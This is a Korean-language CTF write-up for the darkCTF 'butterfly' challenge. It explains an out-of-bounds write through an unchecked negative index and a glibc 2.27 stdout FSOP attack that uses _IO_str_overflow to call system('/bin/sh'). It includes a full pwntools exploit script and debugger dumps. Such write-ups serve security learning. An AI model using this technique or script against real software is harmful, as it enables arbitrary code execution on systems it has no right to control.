블로그 이전했습니다. https://jeongzero.oopy.io/
[darkCTF] butterfly
본문 바로가기
워게임/CTF 문제들

[darkCTF] butterfly

728x90

요약


  • 취약점 : OOB write

1. 문제


1) mitigation 확인

다걸려 있다

2) 문제 확인

이름을 처음에 입력받는다. aa라고 입력하면 aa가 그대로 출력되는데, 뒤에 이상한 값이 딸려온다. 뭔가 leak될 가능성이 보인다. 그다음 원하는 인덱스에 값을 쓰라고 한다.

3) 코드흐름 파악

void __noreturn handler()
{
  __int64 idx; // [rsp+8h] [rbp-118h]
  char buf[256]; // [rsp+10h] [rbp-110h]
  unsigned __int64 v2; // [rsp+118h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  *(_QWORD *)note = malloc(0x200uLL);
  note_1_ = (__int64)malloc(0x200uLL);
  printf("I need your name: ");
  read(0, buf, 0x50uLL);
  puts(buf);
  printf("Enter the index of the you want to write: ");
  idx = getnum();
  if ( idx <= 1 )
  {
    printf("Enter data: ");
    read(0, *(void **)&note[8 * idx], 0xE8uLL);
  }
  puts("Bye");
  _exit(0x1337);
}

note[2]는 bss에 존재한다. buf에 최대 0x50을 입력받고 출력해준다. 그다음 getnum()을 통해 입력한 인덱스 즉, note[0] or note[1]에 최대 0xe8만큼 값을 쓸수가 있다. 하지만 idx는 음수체크를 하지 않는다.

2. 접근방법


우선 인덱스 선택시 음수를 입력가능하다. note 뒤쪽을 보면 stdout, stderr, stdin 구조체가 존재한다. 표준 입출력에 들어있는 주소에 값을 입력할수 있으니 FSOP로 문제를 접근하면 된다.

우선 glibc 2.26 인가 그 이상부터 vtable을 체크하는 로직이 존재한다.

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;

  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

IO_validate_vtbale 함수에서 체크를 하게 된다. section_length에는 현재 _libc_IO_vtables 영역의 사이즈가 담긴다. 그리고 vtable 값과 _libc_IO_vtables 주소를 빼서 offset에 넣는다. 만약 offset의 크기가 section_length 보다 크다면, vtable은 _libc_IO_vtables 영역에 없다는 소리이고, 이때 _IO_vtable_check() 함수를 호출해서 다시한번 포인터를 확인한다.

따라서 vtable 주소를 아무거나 주면 안돼고, _libc_IO_vtables 영역안에 존재하는 함수를 이용해야한다. 우선 원래의 puts 로직을 살펴보자. 자세한건 전에 설명했기 때문에 링크로 대체하겠다.

stdout의 file structure flag를 이용한 libc leak
2020. 4. 12. 17:33 by 까망눈공대생 Person hackctf childheap 문제를 풀면서 알게된 libc 주소 leak하는 방법에 대해서 설명하겠다. 이 방법은 libc leak을 하기위한 여러 공격 벡터중 하나이다. 해당 방법은 _IO_FILE struct의 flag값을 임의로 변경하고, _ IO_write_base 의 일부를 NULL로 변조함으로써 stdout을 사용하는 함수가 호출될때 비정상적인 루틴을 통해 libc가 leak이 되도록 한다 내부적으로 stdout이 언제 어떻게 사용되는지 간단한 예시를 통해 이해해보자.
https://wogh8732.tistory.com/182?category=699165

puts함수가 호출되면 아래 로직이 수행된다.

#include "libioP.h"
#include <string.h>
#include <limits.h>
int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);
  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len
      && _IO_putc_unlocked ('\n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);
  _IO_release_lock (stdout);
  return result;
}
weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)

이중 실제 puts로 출력이 되는 함수는 _IO_sputn() 함수안에서 실행된다. 해당 함수는 stdout 구조체의 vtable을 참조해서 호출된다.

pwndbg> p* ((struct _IO_FILE_plus *)stdout)
$4 = {
  file = {
    _flags = -72537977, 
    _IO_read_ptr = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7ffff7dd07e3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7ffff7dd07e4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dcfa00 <_IO_2_1_stdin_>, 
    _fileno = 1, 
    _flags2 = 0, 
    _old_offset = -1, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "\n", 
    _lock = 0x7ffff7dd18c0 <_IO_stdfile_1_lock>, fake 구조체 만들때 얘는 그대로 !!!
    _offset = -1, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dcf8c0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = -1, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}

pwndbg> p _IO_file_jumps
$9 = {
  __dummy = 0, 
  __dummy2 = 0, 
  __finish = 0x7ffff7a703a0 <_IO_new_file_finish>, 
  __overflow = 0x7ffff7a71370 <_IO_new_file_overflow>, 
  __underflow = 0x7ffff7a71090 <_IO_new_file_underflow>, 
  __uflow = 0x7ffff7a72430 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a73cc0 <__GI__IO_default_pbackfail>, 
  __xsputn = 0x7ffff7a6f9a0 <_IO_new_file_xsputn>, 
  __xsgetn = 0x7ffff7a6f600 <__GI__IO_file_xsgetn>, 
  __seekoff = 0x7ffff7a6ec00 <_IO_new_file_seekoff>, 
  __seekpos = 0x7ffff7a72a00 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a6e8c0 <_IO_new_file_setbuf>, 
  __sync = 0x7ffff7a6e740 <_IO_new_file_sync>, 
  __doallocate = 0x7ffff7a62170 <__GI__IO_file_doallocate>, 
  __read = 0x7ffff7a6f980 <__GI__IO_file_read>, 
  __write = 0x7ffff7a6f200 <_IO_new_file_write>, 
  __seek = 0x7ffff7a6e980 <__GI__IO_file_seek>, 
  __close = 0x7ffff7a6e8b0 <__GI__IO_file_close>, 
  __stat = 0x7ffff7a6f1f0 <__GI__IO_file_stat>, 
  __showmanyc = 0x7ffff7a73e40 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a73e50 <_IO_default_imbue>
}

-----------------------------실제 우리가 사용해야하는 함수
pwndbg> p _IO_str_jumps
$7 = {
  __dummy = 0, 
  __dummy2 = 0, 
  __finish = 0x7ffff7a74370 <_IO_str_finish>, 
  __overflow = 0x7ffff7a73fd0 <__GI__IO_str_overflow>, 
  __underflow = 0x7ffff7a73f70 <__GI__IO_str_underflow>, 
  __uflow = 0x7ffff7a72430 <__GI__IO_default_uflow>, 
  __pbackfail = 0x7ffff7a74350 <__GI__IO_str_pbackfail>, 
  __xsputn = 0x7ffff7a72490 <__GI__IO_default_xsputn>, 
  __xsgetn = 0x7ffff7a72640 <__GI__IO_default_xsgetn>, 
  __seekoff = 0x7ffff7a744a0 <__GI__IO_str_seekoff>, 
  __seekpos = 0x7ffff7a72a00 <_IO_default_seekpos>, 
  __setbuf = 0x7ffff7a728d0 <_IO_default_setbuf>, 
  __sync = 0x7ffff7a72cc0 <_IO_default_sync>, 
  __doallocate = 0x7ffff7a72a70 <__GI__IO_default_doallocate>, 
  __read = 0x7ffff7a73e20 <_IO_default_read>, 
  __write = 0x7ffff7a73e30 <_IO_default_write>, 
  __seek = 0x7ffff7a73e00 <_IO_default_seek>, 
  __close = 0x7ffff7a72cc0 <_IO_default_sync>, 
  __stat = 0x7ffff7a73e10 <_IO_default_stat>, 
  __showmanyc = 0x7ffff7a73e40 <_IO_default_showmanyc>, 
  __imbue = 0x7ffff7a73e50 <_IO_default_imbue>
}

실제로 vtable→__xsputn 를 호출하면, _IO_new_file_xsputn 함수가 호출되면서 그 안에서 write가 결국 이뤄진다. 따라서 우리는 vtable를 _libc_IO_vtables 영역안에 존재하는 함수를 이용해야하고, vtable에서 __overflow를 호출시키게 해야한다. 왜냐하면 __overflow 함수가 호출되게 함으로써 vtable_check() 함수를 우회하고, __overflow() 함수 안에서 시스템함수를 실행시킬수 있기 때문이다.

_IO_str_jumps 구조체안의 __overflow()를 호출하려면 우선 해당주소를 얻어야한다.

pwndbg> x/gx 0x7ffff7dcc2a0+0xd8
0x7ffff7dcc378 <_IO_str_jumps+24>:	0x00007ffff7a73fd0
pwndbg> x/gx 0x00007ffff7a73fd0
0x7ffff7a73fd0 <__GI__IO_str_overflow>:	0x31117408c1f60f8b
pwndbg>

_IO_str_jumps 주소를 pwntools의 symbols[] 로 찾으면 안나오기 때문에, _IO_file_jumps 함수주소를 찾고, 해당 함수 기준으로 +0xd0이 _IO_str_jumps 구조체 변수의 시작부분이다. __overflow는 _IO_str_jumps +8에 위치함으로

  • _IO_file_jumps + 0xd8 ⇒ __overflow함수주소이다.

정리를 하자면, puts에서 정상적으로 호출되는 함수인 vtable→__xsputn 를 __overflow로 변경시켜야한다. 어셈에서보면 vtable + 0x38 에 존재하는 함수를 호출함으로 vtable 주소를 __overflow -0x38 값으로 주면 원하는 __overflow함수가 호출된다.

그럼이제 __overflow()함수에서 어디를 이용해야하는지 살펴보자

/* Source: https://code.woboq.org/userspace/glibc/libio/strops.c.html#_IO_str_overflow
*/

_IO_str_overflow (_IO_FILE *fp, int c)
{
 int flush_only = c == EOF;
 _IO_size_t pos;
 if (fp->_flags & _IO_NO_WRITES)
     return flush_only ? 0 : EOF;
 if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
  {
     fp->_flags |= _IO_CURRENTLY_PUTTING;
     fp->_IO_write_ptr = fp->_IO_read_ptr;
     fp->_IO_read_ptr = fp->_IO_read_end;
  }
------------------여기가 중요 ----------------------
 pos = fp->_IO_write_ptr - fp->_IO_write_base;
 if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
  {
     if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
       return EOF;
     else
  {
     char *new_buf;
     char *old_buf = fp->_IO_buf_base;
     size_t old_blen = _IO_blen (fp);
     _IO_size_t new_size = 2 * old_blen + 100;
     if (new_size < old_blen)
       return EOF;
     new_buf
       = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

       /* ^ Getting RIP control !*/
---------------------------------------------------
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

fp→_s._allocate_buffer(new_size) 가 호출되는데, 이를 system('/bin/sh')로 주면된다. allcate_buffer는 fake file 구조체으로 수정할수 있기때문에, 저따가 시스템함수를 넣으면 된다. 해당 문제 기준으로는 vtable 위치 바로 다음이 저 위치이고, 따라서 vtable+8위치에 system을 넣었다

그다음 인자를 /bin/sh 로 변경시키야 한다.

  • old_blen*2+100 = '/bin/sh'주소로 넣으면 되므로, old_blen에 ('/bin/sh' 주소 -100)/2 값을 넣으면 된다.
  • 또한 if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) 조건을 만족해야한다.

결국 _IO_write_base, _IO_write_ptr, _IO_buf_end, _IO_buf_base 를 조작하면 된다.

하나 참고해야하는게, stdout을 이용한 FSOP할떄는 stdout 구조체의 _lock = 0x7ffff7dd18c0 <_IO_stdfile_1_lock> 요 필드 값은 원래의 정상값을 넣어줘야 한다.

3. 풀이


from pwn import *
context(log_level='DEBUG')
p=process("./butterfly",env={'LD_PRELOAD':'./libc.so.6'})
#p=remote("pwn.darkarmy.xyz",32770)
elf=ELF('./butterfly')
libc=ELF('./libc.so.6')
#fp = elf.symbols['fp']
#log.info(hex(fp))
#gdb.attach(p)

pause()
payload="A"*0x17
p.sendlineafter('name: ',payload)
p.recvuntil('\n')
leak=p.recv(6)
leak=u64(leak.ljust(8,'\x00'))
libcbase=leak-0x3fc23f
io_=libcbase+0x3ec680
_IO_read_base=io_-0x10
str_bin=libcbase+0x1b40fa
log.info(hex(leak))
log.info('libc_base::'+hex(libcbase))
system=libcbase+0x4f4e0
lock__=libcbase+0x3ed8c0+0x80

binsh = libcbase + next(libc.search('/bin/sh'))
system = libcbase + libc.sym['system']
log.info('system_addr: 0x%x' % system)
fp=libcbase+0x3ec760

io_file_jumps = libcbase + libc.symbols['_IO_file_jumps']
io_str_overflow = io_file_jumps + 0xd8
fake_vtable = io_str_overflow - 0x38
lock=libcbase+0x3ed8c0

payload = p64(0)  # flags
payload += p64(0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64((str_bin - 100) / 2 ) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((str_bin - 100) / 2 ) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0) #
#payload += p64(0)
payload += p64(lock) # origin -> _IO_stdfile_1_lock don't fixed
payload += p64(0)*9
payload += p64(fake_vtable)
payload += p64(system)

p.sendlineafter('write: ','-6')

p.sendlineafter('data: ',payload)

p.interactive()

4. 몰랐던 개념


  • 이번에 ubuntu 18.04 FSOP 정확히 알아감
728x90

'워게임 > CTF 문제들' 카테고리의 다른 글

[qwb2018] core  (1) 2020.12.02
[darkCTF] newPaX  (0) 2020.09.28
[Codegate 2019] god-the-reum  (0) 2020.09.22
[사이버 작전 경연대회] Vaccine Simulator  (2) 2020.09.21
[downunderCTF] vecc  (0) 2020.09.21